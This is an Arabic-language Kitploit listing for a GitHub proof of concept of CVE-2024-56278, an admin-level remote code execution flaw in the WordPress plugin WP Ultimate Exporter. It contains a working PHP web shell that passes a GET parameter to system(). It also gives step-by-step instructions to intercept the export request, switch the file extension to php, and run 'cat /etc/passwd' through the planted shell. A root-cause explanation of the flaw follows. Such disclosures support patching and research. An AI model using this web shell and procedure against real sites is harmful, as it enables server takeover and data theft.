Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-56278 — إثبات مفهوم لاستغلال CVE-2024-56278، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في إضافة WP Ultimate Exporter الخاصة بووردبريس، مع عرض رفع ملف إلى قشرة ويب بلغة PHP. | Kitploit
أدوات/GitHubGitHub/dottak/cve-2024-56278
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبتطوير الحمولات
GitHubdottak/cve-2024-56278

CVE-2024-56278

إثبات مفهوم لاستغلال CVE-2024-56278، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في إضافة WP Ultimate Exporter الخاصة بووردبريس، مع عرض رفع ملف إلى قشرة ويب بلغة PHP.

عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-56278

1️⃣ نوع المكوّن

إضافة ووردبريس

2️⃣ تفاصيل المكوّن

اسم المكوّن WP Ultimate Exporter

الإصدار القابل للاستغلال <= 2.9.1

معرّف المكوّن wp-ultimate-exporter

رابط المكوّن https://wordpress.org/plugins/wp-ultimate-exporter/

3️⃣ OWASP 2017: TOP 10

فئة الثغرة A4: تصميم غير آمن

نوع الثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE)

4️⃣ المتطلبات المسبقة

مسؤول (Administrator)

5️⃣ تفاصيل الثغرة

👉 وصف مختصر

إضافة WP Ultimate Exporter هي إضافة مساعدة لإضافة WP Ultimate CSV Importer. تتيح هذه الإضافة تصدير جميع المنشورات والمنتجات والطلبات والمبالغ المستردة وبيانات المستخدمين بصيغ CSV وXLS وXML وJSON. عند التصدير، يتم إنشاء ملفات في مسار الرفع، وتقوم الإضافة فقط بتسليم محتويات تلك الملفات إلى المستخدمين.

في إصدارات إضافة WP Ultimate Exporter 2.9.1 وما دونها، عند طلب تصدير البيانات، إذا تم تعيين امتداد الملف في بيانات الطلب إلى PHP، يتم إنشاء ملف PHP في مسار الرفع. لذلك، إذا كانت محتويات الملف الذي تم إنشاؤه تحتوي على صيغة PHP، تحدث ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) حيث يتم تنفيذ صيغة PHP عند الوصول إلى ذلك الملف.

👉 طريقة إعادة الإنتاج (PoC)

⚠️ نظرًا لأن إضافة 'WP Ultimate Exporter' هي إضافة مساعدة لإضافة 'WP Ultimate CSV Importer'، يجب تثبيت كلتا الإضافتين.

  1. أنشئ منشورًا جديدًا باستخدام محرر الأكواد (اختصار لوحة المفاتيح: ⇧ ⌥ ⌘ M) بالمحتوى التالي:

    root@kitploit:~
    <pre>
    	<?php
    	    if(isset($_GET['cmd']))
    	    {
    	        system($_GET['cmd']);
    	    }
    	?>
    </pre>
    
  2. انتقل إلى تبويب 'Export' في إضافة WP Ultimate Exporter. يمكن الوصول إليه بالنقر على تبويب 'Export' في لوحة تحكم إضافة WP Ultimate CSV Importer (/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu).

  3. شغّل أداة بروكسي (مثل BurpSuite) لاعتراض حزم الطلبات، وتابع الخطوات التالية مع تفعيل خيار Intercept.

  4. بعد ذلك، اختر 'Posts' من 'Select the module to Export Data' وتابع إلى الخطوة التالية.

image

  1. ثم، في 'To export data based on the filters'، عيّن العناصر التالية وانقر على زر 'EXPORT'.
    • Export File Name أدخل 'webshell'
    • Advanced Settings اختر 'CSV'

image

  1. في هذه المرحلة، يتم إرسال طلب بطريقة POST إلى عنوان /wp-admin/admin-ajax.php لتصدير البيانات. غيّر قيمة exp_type في بيانات الطلب من csv إلى php، ثم انقر على Forward.

image

  1. أدخل /wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd في شريط عنوان المتصفح لعرض محتويات ملف /etc/passwd على الخادم الذي تم تثبيت ووردبريس عليه. وهذا يوضح ثغرة RCE.

image

👉 معلومات إضافية (اختياري)

[سبب الثغرة]

عند تصدير البيانات في إضافة WP Ultimate Exporter، يتم استدعاء دالة parseData في الملف /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php.

في هذه المرحلة، لا يتم إجراء أي تصفية على بيانات الطلب exp_type التي تحدد صيغة تصدير البيانات، ويتم إدراج القيمة مباشرة في متغير العضو $this->exportType.

image

بعد ذلك، يتم استدعاء دالة proceedExport لحفظ البيانات في ملف. في هذه المرحلة، عند تهيئة المتغير $file الذي يحدد مسار تخزين الملف، يتم أيضًا استخدام متغير العضو $this->exportType دون أي تصفية.

image

بعد ذلك، يتم تمرير مسار الملف المخزن في المتغير $file كوسيطة إلى دالة file_put_contents، وفي هذه المرحلة، يتم حفظ الملف مع تطبيق الامتداد المحدد في بيانات الطلب exp_type مباشرة.

image

لذلك، عندما يتم حفظ بيانات منشور تحتوي على كود Web Shell كملف PHP ويتم الوصول إلى ذلك الملف، تحدث ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) حيث يتم تنفيذ كود PHP.

image

[تنفيذ كود PoC وتشغيله]

  1. افتح كود PoC في محرر وأدخل عنوان موقع ووردبريس وبيانات اعتماد المسؤول.

image

  1. ثم أدخل الأمر التالي لتنفيذ كود PoC.

    الوحدة المطلوبة requests

    root@kitploit:~
    python poc.py
    

    image

6️⃣ عرض الاستغلال

video

7️⃣ المراجع

  • https://nvd.nist.gov/vuln/detail/CVE-2024-56278
تنزيل الأداة